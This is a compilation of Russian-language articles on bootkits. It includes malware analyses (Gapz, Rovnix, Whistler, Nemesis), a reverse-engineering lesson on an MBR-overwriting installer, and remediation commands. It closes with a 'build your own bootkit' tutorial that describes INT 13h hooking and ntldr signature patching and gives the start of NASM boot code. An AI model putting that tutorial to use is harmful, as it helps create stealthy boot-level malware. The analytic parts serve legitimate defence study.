Звание одного из самых навороченных буткитов следует отдать Gapz. Чего стоит один только модуль режима ядра, содержащий собственную реализацию стека TCP/IP-протокола, что позволяет ему обойти проверку локальных IPS/IDS при взаимодействии с сетью! Интересная особенность вредоносного кода режима ядра заключается в том, что он не имеет структуры исполняемого PE-файла. Вместо этого он разбит на несколько функциональных блоков, имеющих собственные заголовки. В процессе загрузки Gapz анализирует заголовок каждого блока и вызывает его функцию инициализации, которая, в свою очередь, выделяет память и заполняет их указателями на функции блока, а также различными структурами данных. Блоки модулей могли размещаться в секторах или до первого, или после последнего раздела. Хранилище payload представляло собой файл (содержимое зашифровано AES-256) в каталоге System Volume Information системного диска с именем из случайных hex-значений. Файловая система хранилища — FAT32, реализация которой взята из опенсорсного проекта FullFAT.

Gapz имеет несколько версий, различающихся методами загрузки, летом 2012-го заражалась MBR, а осенью — VBR, причем довольно интересным способом. VBR тома NTFS содержит в себе структуру данных, называемую BIOS Parameter Block (BPB), где указываются параметры тома. В BPB есть поле HiddenSectors, которое указывает на начало Initial Program Loader (IPL) — кода, на который передается управление после VBR. IPL отвечает за поиск загрузчика в файловой системе тома NTFS и его запуск. Изменением 4-байтового поля HiddenSectors Gapz добивается того, что код VBR передает управление не на IPL, а на свой код (см. рис. 4). Нечто подобное использовал Mebratix (изменение нескольких байт в MBR для получения управления и затруднения своего обнаружения).

Рис. 4. Gapz получает управление, изменив 4 байта BPB

Несмотря на значительную сложность, показатели скрытности Gapz значительно меньше, чем у других представителей класса буткитов, хотя бы из-за размещения хранилища внутри файловой системы. К тому же количество зараженных Gapz компьютеров в 2012 году исчислялось всего лишь сотнями (большинство из них находилось в России).

Вездесущие китайцы

Пытаются не отставать в технологической гонке и товарищи из Страны восходящего солнца (в наш век тотального интереса ко всякому аниме очень приятно увидеть человека, который считает Страной восходящего солнца Китай :). — Прим. ред.).

Свежий дроппер китайского трояна Guntior (известен с 2010 года), обнаруженный летом 2013 года сотрудниками компании Sophos, порадовал очередным трюком обхода проактивной защиты при своей инсталляции в систему. Сам дроппер спроектирован и собран таким образом, что может запускаться и как исполняемый файл EXE, и как динамическая библиотека DLL. Под именем msimg32.dll он копируется в каталог %Temp% и выставляет флаг в заголовке файла, указывающий, что это DLL. Также в каталог %Temp% сохраняется копия файла HelpCtr.exe (он импортирует функции из msimg32.dll), который отвечает за отображение «Справки и поддержки» в Windows. Но это еще не все — для запуска HelpCtr.exe переменная окружения PATH изменялась так, чтобы каталог %Temp% располагался раньше, чем каталог %System%. Сам HelpCtr.ex вызывался на исполнение путем отправки сообщения WMHOTKEY окну ShellTryWnd (по умолчанию справка вызывается комбинацией <Win + F1>). Таким образом, дроппер msimg32.dll подгружался легитимным файлом HelpCtr.exe (метод dll hijacking), и не вызывал срабатывания проактивной защиты антивирусов. После отработки файлы в %Temp% удалялись, а переменная PATH восстанавливалась к исходному виду. Еще из отличительных особенностей можно отметить наличие обширного списка процессов антивирусов и защитного ПО, которые подлежат немедленному завершению. Буткит-компонент Guntior создан на базе исходных кодов Stoned Bootkit (в Китае вообще любят заимствовать уже работающие готовые решения). Механизм сокрытия и самозащиты полностью аналогичен Mebroot ранних версий — перехват IRPMJREAD и IRPMJWRITE в disk.sys.

Слив года

Carberp. Новости об этом банковском трояне публикуются с завидной регулярностью. Весной благодаря совместным усилиям Службы безопасности Украины (СБУ) и Федеральной службы безопасности России (ФСБ) на территории Украины были задержаны распространители и разработчики Carberp. А летом его исходные тексты утекли в паблик. Около 5 Гб исходных текстов (2 Гб в архиве) оказались доступными для загрузки любым желающим. Среди исходников отдельный интерес представляет код буткита. Carberp изначально не имел своей bootkit-составляющей до 2011 года, когда разработчики купили фреймворк Rovnix. Кроме того, архив содержит часть исходных текстов буткитов Stoned и Sinowal.

Фреймворк Rovnix известен с 2011 года, тогда он использовался в качестве загрузчика трояна Mayachok (Cidox). Главная особенность Rovnix — заражение не MBR, а загрузочного сектора системного раздела с файловой системой NTFS, также называемого Volume Boot Record (VBR). Дроппер Mayachok несет в себе как 32-битный, так и 64-битный драйвер Rovnix. На диске сохранялся соответствующий драйвер в зависимости от разрядности пользовательской ОС. Он мог быть записан как в начало диска (до первого активного раздела), если там достаточно места, так и в его конец. Анализируя загрузочную запись, троянец находил место для своего размещения и перезаписывал имеющийся там код. Оригинальный код упаковывался при помощи библиотеки aPlib и дописывался следом. Номер начального сектора размещенного на диске драйвера и его размер также «прошивался» в тело зараженной VBR. На момент обнаружения Mayachok сотрудники антивирусных компаний не знали, что буткит был сторонним компонентом и, по всей вероятности, был куплен. Это установили только после обнаружения трояна Carberp с аналогичным модулем. В начале 2012 года ESET обнаружила модификацию Rovnix, оснащенную полиморфным генератором вредоносного кода, размещаемого в VBR, а также реализацией зашифрованного при помощи алгоритма RC6 хранилища файлов. Любопытно, что в качестве файловой системы использовалась модификация VFAT.

Rovnix стал первым представителем VBR-буткитов. И, проводя аналогии с ситуацией после слива исходников Zeus (кстати, разработчики Carberp их активно использовали), следует ожидать всплеска разработок boot-компонентов на его основе.

Вместо BIOS

На смену BIOS приходит система UEFI, комплекс спецификаций, появившийся как «загрузочная инициатива Интел» (Intel Boot Initiative) в далеком уже 1998 году. Инициатива возникла потому, что ограничения BIOS, такие как 16-битный исполняемый код, адресуемая память 1 Мб, отсутствие поддержки загрузочных дисков больше 2 Тб и другие, стали ощутимо тормозить развитие вычислительных систем. Фактически UEFI представляет собой некое подобие операционной системы. В отличие от BIOS, которые пишутся на asm, UEFI написана на Си. Имеется поддержка графических режимов работы видеоадаптера, драйверов устройств и сетевого стека. Предусмотрена поддержка загрузчиков ОС и разметки диска GUID Partition Table (GPT), что позволяет отказаться от концепции загрузочных секторов и загружать ядра ОС средствами UEFI (поддерживается в современных Linux и 64-разрядных Windows, начиная с Vista). Ключевая фишка UEFI — механизм SecureBoot, осуществляющий криптографическую проверку загружаемых компонентов ОС при помощи ключей цифровой подписи, прошиваемых в чипы памяти материнских плат.

SecureBoot как раз и нейтрализует целый класс вредоносов, получающих управление до загрузки ОС. В то же время сообщество Linux считает, что Microsoft создает предпосылки к монополии загрузки только ОС Windows (хотя подкопаться к самой Microsoft нельзя — что именно шить в материнскую плату, определяют их производители). На текущий момент для сертификации железа на совместимость с Windows 8 требуется наличие функции отключения SecureBoot на платформах, отличных от ARM, а также установки своих ключей. Но кто знает, как ситуация изменится в дальнейшем? В условиях, когда SecureBoot будет включен постоянно, а OEM-поставщики будут прошивать только ключи Microsoft, может возникнуть ситуация, когда установить ОС, отличную от Win, станет невозможно. Впрочем, сообщество Linux может подписать свой загрузчик у компании Microsoft. Как говорится, поживем — увидим.

Что день грядущий нам готовит?

На волне распространения MBR- и VBR-заразы все дружно вспомнили про UEFI. Единичные случаи малвари, модифицирующей BIOS (Mebromi в 2011 году), объясняются тем, что производителей BIOS большое количество и писать код под значительное многообразие прошивок вообще не вариант. Другое дело — UIFI, где все унифицировано. С другой стороны, UEFI написан на языке Си, что подразумевает наличие многочисленных ошибок переполнения буфера. Итальянец Андреа Алльеви (Andrea Allievi), ведущий исследователь компании ITSEC в области ИТ-безопасности , продемонстрировал в сентябре 2012 года уязвимость механизма загрузки Windows 8, разработав первый полноценный UEFI-буткит для этой платформы. Исследователи ITSEC нашли уязвимость в UEFI и использовали ее для замены UEFI bootloader на свой собственный. В результате механизмы защиты Kernel Patch Protection и Driver Signature Enforcement успешно обходятся. Весной 2013 года на конференции HITB (Hack in the Box) Себастьян Качмарек (Sébastien Kaczmarek) из QuarksLab представил доклад «Dreamboot: A UEFI Bootkit» и продемонстрировал работу очередного концепта буткита для Windows 8. Исходники проекта Dreamboot доступны на github.com.

Следует отметить, что все эти наработки функционируют при отключенной функции SecureBoot, что позволило компании Microsoft с новыми силами заняться ее продвижением. Однако популярность Windows 8 на десктопах пока крайне мала, программировать под UEFI — одно удовольствие (не ассемблер все-таки, а Си), а это значит, что у создателей буткитов еще есть время не раз и не два попользоваться ресурсами компьютеров ничего не подозревающих граждан, а иной раз и залезть им в карман. Поскольку рядовой пользователь сам не в состоянии отправить подозрительные файлы на анализ (хотя бы потому, что к файлам буткитов, как правило, из ОС доступ получить нельзя), хочется пожелать, чтобы сисадмины корпоративных сетей внимательнее относились к мониторингу подозрительной сетевой активности (на шлюзе проще всего отследить, что какая-то гадость стучится в интернет), а антивирусные компании более оперативно реагировали на появление новых угроз такого типа.

Разбор буткита / Блог компании OTUS. Онлайн-образование / Хабр

Всем привет! В связи с запуском курса «Реверс-инжиниринг» мы провели плановый открытый урок. На нём разобрали алгоритм работы буткита на разных стадиях его загрузки.

Преподаватель — Артур Пакулов, вирусный аналитик в Kaspersky Lab.

Следующая статья носит вступительный характер и представляет собой текстовую версию лишь части урока, которая посвящена установщику буткита. Подробный разбор самого буткита смотрите в видео.

Буткит (Bootkit) — вредоносная программа, осуществляющая модификацию Master Boot Record — первого сектора первого физического диска либо загрузочного сектора — VBR. Программы такого рода, в основном, имеют троянский функционал и используются для осуществления каких-либо скрытых действий в системе. В нашем примере, буткит осуществляет повышение привилегий до уровня системы процессу, имя которого начинается на последовательность букв: “inte”. Фактически, буткит — это руткит, начинающий работать в 0 кольце защиты, который запускается ещё до начала загрузки операционной системы. Именно из-за этого он и представляет большой интерес для исследования.

Чтобы разработать такую программу, обычных навыков реверс-инжиниринга недостаточно. Мало просто уметь читать листинг, нужно ещё и понимать такие вещи, как архитектура процессора, адресация памяти и т. д. Ключевые места буткита мы и посмотрели на открытом уроке.

Для работы был подготовлен специальный семпл bootkit-xp.exe, работающий под Windows XP. Поэтому, кроме изучения буткита, немного поностальгировали по этой операционной системе. Но вообще, ОС XP была выбрана для того, чтобы проще было реверсить, так как XP — это хорошая наглядность и отсутствие лишних осложнений. Ну и, семпл был написан именно под эту OS, судя по его коду.

А вот как выглядит инсталлятор буткита:

Просто глядя на него, можно сделать определённые выводы. Например, сразу бросается в глаза, что этот файл имеет маленький вес. Если же глянуть на точку входа, то можно заметить, что в коде идёт получение дескриптора файла с именем символьной ссылки на первый физический диск — “PhysicalDrive0”:

Далее для удобства восприятия кода перешли в IDA. Становится ясно, что для типичного трояна имеющийся функционал довольно мал. Даже таблица импорта подозрительно мала:

Такая картина обычно вырисовывается при анализе упакованных семплов. Но, в нашем случае файл не выглядит упакованным. Выходит, что семпл либо накрыт каким-либо протектором/криптором и в процессе своей работы получает адреса функций динамическим образом, после чего вызывает нужный функционал, либо всё нормально, и сэмпл такой, какой есть.

Продолжаем исследовать код.

Как мы уже видели в HIEW, вызывается функция CreateFileA с интересным аргументом в качестве первого параметра Что именно тут делается? Тут уместно вспомнить про такое понятие, как объекты ядра. Ими нельзя манипулировать напрямую из режима пользователя, ими управляет ядро операционной системы. Из user mode программа может только сделать запрос на получение/изменение состояния какого-либо объекта ядра. Чтобы указать системе, с каким именно объектом ядра будет работать программа, требуется получить хендл нужного объекта ядра. При запросе на получение, если все проверки будут пройдены, OS вернёт нам handle запрашиваемого ОЯ. А уже используя handle, мы можем работать со связанным с ним ОЯ.

Таким образом, на приведённом выше изображении с помощью CreateFile идёт обращение через символьную ссылку к первому подключенному физическому жёсткому диску. Если доступ предоставляется, то работать с таким “файлом” можно будет как и с любым другим простым файлом. Т. е. весь жёсткий диск целиком будет представляться как один большой файл.

Итак, продолжим. Handle вернулся, и мы оказываемся здесь:

Что дальше происходит? А дальше функция ReadFile, считывает первые 0x200 байт. А находится у нас там самый первый сектор первого физического диска.

Как вы уже догадались, это Master Boot Record (MBR). MBR состоит из 3 частей: кодовой части, таблицы разделов и сигнатуры. В обычной ситуации bios вычитывает MBR в память по адресу 0:0x7c00h, передавая на неё управление. Так, кодовая часть MBR начинает выполняться. В процессе выполнения она парсит таблицу разделов, находит загрузочный сектор и грузит его. В случае буткита, если MBR будет перезаписан, его код уже сейчас получит управление.

Ок, MBR считан а, что дальше? А дальше буткит снова открывает PhysicalDrive0, но с режимом доступа на запись.

Дальше устанавливается указатель по 600-му смещению. То есть оригинальный сектор считывается и копируется в третий сектор.

Зачем бэкапить сектор? Очевидно, что это нужно для того, что он понадобится в дальнейшем.

Дальше запускается цикл. Естественно, глядя на код, нельзя не обратить внимание на константы типа var_1C, 1BEh и прочие. И, заодно, следует освежить в памяти структуру MBR, размещённую выше. В частности, нас интересует колонка «Смещение».

Смотрите, прочитанный буфер первого сектора находится в lpBuffer. Далее к нему прибавляется 1BEh, Фактически, указатель направляется на начало таблицы разделов. Все данные, начиная с таблицы и до конца сектора вставляются в _marked_bytes, начиная с того же смещения — 1BE.

То есть, в _marked_bytes вставляется вторая и третья часть оригинального MBR.

Что происходит дальше? А дальше SetFilePointer устанавливает указатель в самое начало нашего “файла”, т. е. на MBR.

Потом происходит запись (WriteFile) сформированного _marked_bytes и освобождение памяти. На этом функционал установщика буткита заканчивается.

Но неплохо было бы посмотреть, а что именно находится в первой части _marked_bytes. Для этого, сдампим её на диск и проанализируем. Первое, что бросается в глаза, — уменьшение на 2 содержимого переменной по адресу 0x413.

Если посмотреть техническую документацию, то можно найти, что переменная по адресу 0X413 содержит количество установленной физической памяти в килобайтах. Соответственно, код буткита “отрезает” два килобайта памяти:

Теперь, чтобы не делалось дальше, будет считаться, что имеется на 2 килобайт памяти меньше, чем было. Зачем — пока непонятно.

Дальше происходит рассчитывание физического адреса к “откусанному” куску памяти с помощью побитового сдвига влево на 6 разрядов:

Сдвиг на 6 делает два действия разом — переводит килобайты в байты (домножив значение переменной на 2^10), тем самым получив физический адрес к откусанному куску памяти, и извлекает из него номер сегмента, поделив результат на 0x10 (2^4).

После произойдёт копирование своего тела по этому куску памяти, причём, т. к. код буткита находится именно в “откусанном” куске, его дальше уже никто не потревожит. Мало того, никакие прерывания не изменят того, что написано в этой области памяти. Можно сказать, что код становится фактически невидимым для системы, как будто там и нет никакой памяти.

Это только самое начало работы буткита. Дальше будет перехват прерывания, отслеживание сигнатуры ntldr, модификация модуля ядра ОС и т. д…

Поэтому не будем спойлерить, лучше досмотрите вебинар до конца, чтобы ничего не пропустить.

Whistler Bootkit — нашему полку прибыло / Хабр

В последнее время появилось и постепенно набирают обороты жалобы пользователей на наличие вредоносных файлов, которые не удаётся удалить никаким образом. Эти файлы видно в списке актиынх процессов, и что характерно — все они размещаются в папке C:\System Volume Information\ (или подпапках) и выполняются с правами NT-AUTHORITY\SYSTEM.

Если у Вас обнаруживается такое поведение — поздравляю, Вы подхватили Whistrler Bootkit. О нём и пойдёт речь сегодня.

На данный момент я, как и некоторые мои друзья в антивирусных компаниях, не располагаем инфектором этого буткита. Однако совершенно очевидно, что зловред не является новым изобретением, а представляет собой продолжение идеи Питера Клейсснера, выраженной в PoC-проекте Stoned. В этом случае вирмейкер, вероятно, откровенно скопировал код, даже не потрудившись его дополнить или изменить. Итак, история…

До некоторого времени, проект Stoned Питера Клейсснера был способом показать возможность загрузки кода в память системы до фактической загрузки системы. Это позволяло получить полный контроль над ОС: начиная от выполнения произвольных процессов с произвольными полномочиями до обхода системы безопасности Windows и контроля лицензионного ключа на Vista / Seven. Проект довольно стабильно развивался в рамках open source, пока «Лаборатория Касперского» и некоторые другие организации не подали в суд на автора за якобы распространение зловредного программного обеспечения. Не буду комментировать этот поступок и насколько он разумен, однако с конца прошлого года автор прекратил распространение новых версий и значительно урезал доступную публичную версию. Также были приостановлены разработки поддержки Linux-платформ на момент протекания судебного процесса. И появился Whistler…

По информации от Питера, утечка произошла скорее всего до января этого года, поскольку первый «промоутерский» шаг о Whistler появился вот в этом блоге именно в январе. Спустя месяц блоггера вынудили выкинуть явно рекламную информацию, а также информацию о стоимости буткита и стоимости его поддержки, придав статье более «информационный», а не рекламный характер. Сейчас «оффсайт» буткита расположен здесь, где информации поменьше, но денег хочется пооткровеннее 🙂

На основании этой даты можно предполагать, что Whistler базируется на Stoned v2 Alpha 3 от 20 октября 2009 года. Именно эта версия шла в комплекте с компилированными файлами инфектора и дезинфектора. Приняв это за рабочую гипотезу, за неимением дроппера, следующая информация сделана именно на основании работы и возможностей этой версии Stoned.

Исходно, хорошо документировались самые различные методы инфицирования: автозапуск с флешки, pdf-эксплоиты (инфицирование из заражённого pdf-файла), инфекторы, заражение при загрузке специальных образов LiveCD/LiveUFD. Поэтому инфектор может быть в чём угодно, что затрудняет понимание, как же передаётся и где берётся Whistler.

Список инфицируемых ОС внушителен: 2000, XP, Vista, Seven, Server 2003, Server 2008, порддерживается х64. При этом корректно работает с аппаратным и программным шифрованием всего содержимого винчестера. Отключение возможности модифицирования MBR в BIOS не помогает (это работало только в DOS и win95/98, так что уже в принципе неактуально).

На заражённой системе загрузчик в MBR патчится на первичное выполнение кода буткита с последующей передачей управления оригинальному загрузчику. Оригинальный загрузчик, код буткита и его плагины хранятся в неразмеченной области в конце физического диска в специальной файловой системе (RawFS — так было в оригинальном Stoned). При этом код буткита является первым файлом этой системы и расположение его точно известно. Это важный момент, позволяющий проводить инфицирование даже полностью криптованных дисков, поскольку в них не криптуется загрузчик и точно известно начало неразмеченной области — а этого вполне достаточно.

После выполнения загрузки код буткита размещается в памяти и позволяет реализовать различный функционал, подгружая плагины в существующие процессы. Трудно сказать, попала ли автору Whistler public-версия, или закрытая (которая включала готовый плагин запуска приложений с правами NT-AUTHORITY\SYSTEM), но в общем схема выполнения плагинов со стороны буткита следующая.

1. По функции PsGetVersion / RtlGetVersion определятся версия операционной системы.

2. На основании этой информации определяются структуры EPROCESS и KTHREAD.

3. Буткит через асинхронный вызов процедуры внедряет код плагина в любой исполняемый user-mode процесс.

Как видно из пп. 1-2, код буткита позволяет работать на любой ОС. Однако нужно отличать от буткита его плагины: последние являются зависимыми от ОС (особенно разрядности — х32 или х64), а потому в системе RawFS могут находится различные версии под различные системы. Если автор Whistler написал плагин, позволяющий запускать с повышенными правами процессы — и этот плагин написан под х32, значит, в общем Whistler будет заражать и х32 и х64, в памяти будет находится буткит — но свой потенциал он будет раскрывать только на х32, поскольку плагин на другой разрядности не заработает.

Если автору Whistler попалась закрытая версия Stoned — там не было возможности запуска и эскалации прав у процессов на х64 (NB!!!)

Оригинальный Stoned никак не скрывал своё присутствие и изменение MBR (как это делал, например, Sinowal). В принципе, это возможно сделать с помощью дополнительного плагина (см. выше), но его необходимо кодить. Хватит ли на это ума и возможностей автора Whistler — неизвестно.

Что же делать, если у Вас появился Whistler? Исходя из доступности MBR достаточно стандартной fixmbr. Однако, принимая во внимание то, что пока этот вирус — «тёмная лошадка», настоятельно рекомендуется предварительно снять дампы MBR. Это можно сделать, к примеру, с помощью MBRWizard, выполнив в командной строке:

mbrwiz.exe /save=mbr /filename=mbr.bin

Можно попробовать в действии и antiboot. Я немного изменил эту утилиту, а точнее — автоматизировал сбор карантина. Суть: утиль проводит исследование antiboot по такой команде:

antiboot.exe -l "%cd%\log.txt" -p "%cd%\MBR"

Потом упаковывает папку MBR в zip-архив quarantine.zip с паролем virus и удаляет папку MBR.

Непосредственно в утилите имеются баги: тормоза в ходе работы и подвисание на некоторых машинах. Выглядит это так: в консоли пишет:

Antibootkt, (c) Kaspersky Lab 2010, version 1.2.1

Log started

Unpacking driver

Starting up driver

после чего — тишина и надолго. В этом случае нужно попросить пользователя закрыть окно и вручную прислать созданную папку MBR (дампы в ней уже будут).

(По словам представителя ЛК, об этом баге знают, но устранить не представляется возможным по различным причинам).

Безусловно, возможно использование и широко известного «универсального» лечителья буткитов eSage Bootkit Remover. Тем не менее, имеются сведения, что при наличии активного заражения TDL2 эта тулза выдаёт «no disk found». Это следует иметь в виду при её использовании, но в целом — вполне хорошая вещь, тоже рекомендуемая к использованию. Но не напрямую, а хотя бы с таким скриптом:

start /wait remover.exe dump \\.\PhysicalDrive0 mbr.bin

remover.exe fix \\.\PhysicalDrive0

Полученные дампы MBR можно разослать любимому производителю антивируса 🙂 Это позволит оценить, насколько Whistler отличается от Stoned. Сильно подозреваю, что никак 🙂

P.S. Огромное спасибо Питеру Клейсснеру за содействие, оказанное в подготовке этого материала и вообще за работу, проделанную в рамках проекта Stoned.

BootKit, один из самых раздражающих троянов, готов к следующей глобальной атаке

31 Июл. 2018 г.kate

Подробнее о 360 Total Security

BootKit — распространенный троян, который заразил большое количество ПК . В последнее время 360 Security Center обнаружил, что BootKit активно распространяется снова. На этот раз троян распространяется в серверных системах. Наши пользователи заявили, что хотя они пробовали различные методы чтобы восстановить свои компьютеры из-за ненормального статуса, было еще слишком поздно. Мы провели подробный анализ, и 360 Total Security первым захватил и уничтожил этот троян BootKit.

Через подробный анализ мы обнаружили, что этот вид трояна распространяется путем вторжения на сервер пользователей через слабые пароли MySQL или MSSQL. Более того, этот троян, скорее всего, в будущем будет преобразован в программу-вымогатель. Чтобы избежать атак, если ваш пароль недостаточно силен, пожалуйста, немедленно измените пароль.

Анализ

C: \ Windows \ Temp \ v.exe

Внести сервер, чтобы выпустить файл на
C: \ Windows \ Temp \ v.exe

Информация о троянском файле:

Написать функцию:

Получить серийный номер диска, соответствующий активному разделу:

Определить раздел MBR:

Проверить его статус записи:

Написать функцию после резервного копирования:

После загрузки поведение BootKit показано ниже:

Системная информация после загрузки:

Включить цикл потока, чтобы обнаружить следующий процесс, а затем немедленно завершить процесс:

Внедрить код в процесс Winlogon.exe, вставив APC, и загрузить вредоносный код в Интернете

Сводка

Если ваш компьютер запускается медленно или ваш сервер работает неправильно, используйте 360 Total Security для обнаружения трояна. Кроме того, не запускайте ненужное обслуживание, это даст хакерам больше шансов атаковать ваш сервер. Для получения необходимой услуги, если есть слабый пароль, мы настоятельно рекомендуем немедленно его изменить.

Подробнее о 360 Total Security

Nemesis — продвинутый буткит для кражи данных

Аналитики из калифорнийской компании FireEye, специализирующиеся на вопросах сетевой безопасности, опубликовали результаты изучения семейства новых вредоносных программ. Обнаруженный ими буткит «Немезида» и связанные с ним компоненты – это целая платформа, скрыто работающая на низком уровне. Она загружается до Windows, благодаря чему избегает обнаружения при обычном сканировании файловой системы.

Ещё в сентябре принадлежащая FireEye группа Mandiant Consulting обнаружила новый буткит, ориентированный на кражу и подмену финансовых данных. Он способен осуществлять скрытую передачу файлов, делать скриншоты экрана, выполнять функции клавиатурного шпиона, внедряться в системные процессы и планировать отложенные операции. Особенность состояла в том, что антивирусные средства обратившихся в FireEye клиентов не могли его удалить, а использование безопасного режима не влияло на его работоспособность.

Активация вызова меню загрузки Windows по нажатию {F8} командой «bcdedit /set {default} bootmenupolicy legacy».

В своём исследовании специалисты FireEye описывают буткит, прерывающий классическую последовательность загрузки [MBR] -> [BS] -> [загрузчик ОС] на уровне второго компонента цепочки. Анализ показал, что основной вредоносный компонент Nemesis представляет собой тонкий гипервизор, который внедряется в загрузочную запись тома (Volume Boot Record — VBR) и сохраняет код остальных файлов троянца в неразмеченной области диска (unallocated space). Nemesis использует встроенные средства виртуализации процессоров x86 и x86-64. Фактически он запускает установленную ОС как виртуальную машину и полностью контролирует её.

Присутствующие в коде и метаданных кириллические символы стали основанием для утверждения, что за Nemesis стоят «русские хакеры». Авторами «Немезиды» называется группа FIN1 (не запрещена в России). Сейчас на Западе больше них боятся только ИГИЛ (запрещена в России).

Использование буткита Nemesida происходит аналогично внедрению Bootrash, также написанного FIN1.

«Мы идентифицировали присутствие угроз безопасности от финансово-мотивированной группы, которую мы уже несколько лет отслеживаем как FIN1, – пишут эксперты FireEye. – Группа распространила многочисленные вредоносные файлы, каждый из которых является частью вредоносной экосистемы, называемой ‘Немезида’».

Указанные особенности буткита стали поводом для нездоровой сенсации. В ArsTechnica и других солидных изданиях появились многочисленные сообщения о якобы неуловимом «вирусе», от которого не спасает даже полная переустановка системы. Собственно, почему она вообще должна помогать?

Виртуализация на десктопных компьютерах поддерживается начиная с процессора i80386. Загрузочные вирусы существовали со времён MS-DOS, а буткиты стали их дальнейшим развитием. В отличие от остальных типов вредоносных программ, они запускаются до операционной системы и получают возможность подменять любые данные, скрывая своё присутствие.

Анализ первого загрузочного стелс-вируса Brain в PC Tools, 1986 г.

Каждый раз во время загрузки заражённого компьютера буткит прерывает её нормальную последовательность. Он получает управление ещё до передачи цепочки непосредственно загрузчику ОС (например, NTLDR) и перехватывает обработку системных вызовов. То есть, он контролирует поведение как самой ОС, так и всех запущенных в ней программ, включая антивирусы без специфических механизмов противодействия.

«Использование вредоносного кода, существующего за пределами операционной системы, требует других методов обнаружения и удаления, – комментируют эксперты FireEye в корпоративном блоге. – Буткиты выполняются независимо от операционной системы Windows, поэтому определить их наличие могут только утилиты с функцией прямого доступа к диску».

Схема расположения буткита.

Большинство комплексных систем защиты как раз обладают такой возможностью. Обычно она реализована в модулях «антируткит», хотя в интегрированных решениях её может использовать и основной сканер как отдельную опцию. Бесплатная утилита для анализа системы и поиска вредоносных программ AVZ также при необходимости использует прямое чтение с диска, определяет перехват системных функций, анализирует таблицу векторов прерываний и детектирует маскирующиеся процессы.

Основную проблему составляет не столько поиск руткитов и буткитов, сколько их корректное удаление и восстановление нормальной работы компьютера. При грубой попытке удалить найденный буткит часто нарушается загрузка операционной системы. В простейших случаях помогает консоль восстановления (fixmbr + fixboot или bootrec.exe /FixBoot). Однако отдельные буткиты (включая «Немезиду») обладают механизмом противодействия и пытаются при своём обнаружении удалить файлы с диска – в знак мести и для заметания следов.

Suum cuique! Νέμεσις

На концептуальном уровне «Немезида» – вовсе не новая проблема. Ещё девять лет назад на Black Hat Briefings был представлен буткит Bluepill с поддержкой аппаратной виртуализации AMD-V. В дальнейшем он получил поддержку Intel VT-x и стал универсальным руткитом. Лежащие в его основе идеи были реализованы как в легитимных, так и разных вредоносных программах.

Алгоритм «Немезиды» во многом похож на Backdoor.Win32.Sinowal, появившийся в 2009 году. Есть в нём также сходство с Olmarik (BackDoor.Tdss.9693 по классификации «Доктор Веб»), Win32/Rovnix (Trojan.Win32.Genome.aglua по классификации Касперского) и другими буткитами последних лет.

Nemesis ориентирована в первую очередь на кражу данных платёжных систем и перехват транзакций онлайн-банкинга, но может научиться выполнять и другие действия на заражённом компьютере, поскольку обладает расширяемым функционалом. Её автоматический апдейт возможен при очередной связи «Немезиды» со своим C&C-сервером.

Противодействие «Немезиде» очевидно из алгоритма её работы. Необходимо загрузиться с заведомо чистого загрузочного носителя, а затем выполнить анализ логической структуры диска и его антивирусную проверку пока буткит находится в неактивном состоянии. При желании неразмеченную область можно дописать к имеющемуся разделу или создать на ней новый. Опционально – выполнить fixboot или установить отдельный загрузчик (например, GRUB).

Nemesis не инфицирует диски с разметкой GPT.

К счастью, «Немезида» и подобные ей буткиты не актуальны на компьютерах с новым менеджером загрузки EFI. Они не заражают диски с таблицей разделов GPT и не имеют средств обхода механизма безопасной загрузки SecureBoot, но не стоит считать его панацеей. Эксперты Legbacore уже представили доклад о буткитах самого низкого уровня, заражающих UEFI/BIOS независимо от производителя материнской платы. В общем случае компьютером управляет тот программный код, который запустился первым.

Bootkit своими руками — Часть 2

Пособие для детей школьного возраста

Доброго времени суток! В предыдущей статье мы научились запускать свой код до загрузки операционной системы прямиком из MBR. Воспользовавшись этим, мы разработали простенькую систему защиты, требующую ввести пароль. В случае правильного ввода, мы позволяем ОС загрузиться дальше. Теперь, нам нужно установить контроль над ядром ОС, это можно сделать, если перехватить какую-либо функцию, которая вызывается самой ОС. Тогда, вместо этой самой функции выполнится наш код и дальше система продолжает свои дела. Так вот, нам сейчас нужно определиться с тем, какое место нас будет интересовать. Думаю, так как мы только изучаем bootkitы, давайте пойдём по стопам известного буткита «Sinowal» или «Alipop» и повторим за ними. Как только мы освоимся, тогда и начнём экспериментировать, но сейчас не будем осложнять себе жизнь :-).

8B F0 85 F6 74 21 80 3D сигнатура в ntldr

Итак, эти буткиты на начальной стадии загрузки ОС заменяют несколько байт ntldr на свой код. Давайте взглянем на изменяемое место:

Как мы видим, модифицируются байты сразу после отработки функции _BlLoadBootDrivers. А именно модифицируются байтами 0xFF15xxxxxxxx. FF15 — опкод команды call dword ptr [addr]. Мы поступим точно также.

Чтобы получить возможность модифицировать ntldr, установим перехват на 2 и 42h функции тринадцатого прерывания BIOS. Эти функции производят чтение информации с секторов диска в память. Если это вторая функция, то прочитанные данные находятся по адресу es:bx. Количество секторов для чтения передаётся в регистре al. Во втором случае вся информация указывается в структуре Disk Address Packet (DAP).

Адрес DAP передаётся прерыванию в регистре esi. Как видно из таблицы, чтобы получить количество секторов, которое собирается прочитать прерывание, нужно прочитать память по адресу esi+2. Прочитанные данные будут находиться по этому указателю на память, находящемся по адресу esi + 4. Это нужно будет учесть, так как наш обработчик прерывания будет делать следующее: если выполняется нужная нам функция, то мы вызываем оригинальный обработчик, а затем начинаем поиск в прочитанных данных сигнатуры рассмотренного выше места в ntldr. Сигнатура будет такой: 8B F0 85 F6 74 21 80 3D. Если нашли нужное нам место, то переписываем его на call dword addr. Так как переход будет осуществляться не по &addr, а по *addr, то заведём специальную переменную, куда сохраним адрес на наш обработчик. Если всё произойдёт по плану, то, когда ось будет уже переключена из реального режима в защищённый и выполнит функцию _BlLoadBootDrivers в ntldr,  сразу после неё она встретит call на наш обработчик и выполнит его! Из этого выходит, что наш обработчик должен быть уже не 16 разрядным, а 32. В нашем обработчике будет основной код буткита, его мы рассмотрим в следующей части, а сейчас пока попытаемся сделать так, чтобы система хотя бы грузилась. Так как мы затёрли нужный оси код, мы должны его вернуть повторить. В нашем обработчике пока будет выполняться единственный функционал — выполнение заменённых инструкций. Таким образом система будет думать, что всё так и задумано))). В этот раз мы будем компилировать код на nasm, так как очень удобно реализовать код в двух разных по разрядности сегментов, просто вставив use32 или use16 в нужное место. Итак, вот что получилось:

START:
 mov ax, 3
 int 10h
 mov cx, 10h
 mov ah, 0Eh
 mov al, 'N'
CCC: 
 int 10h
 loop CCC
 xor ax, ax
 int 16h
 
 cli 
 xor ax, ax
 mov ds, ax
 mov sp, 0FFFFh 
 sub word [413h], 1h
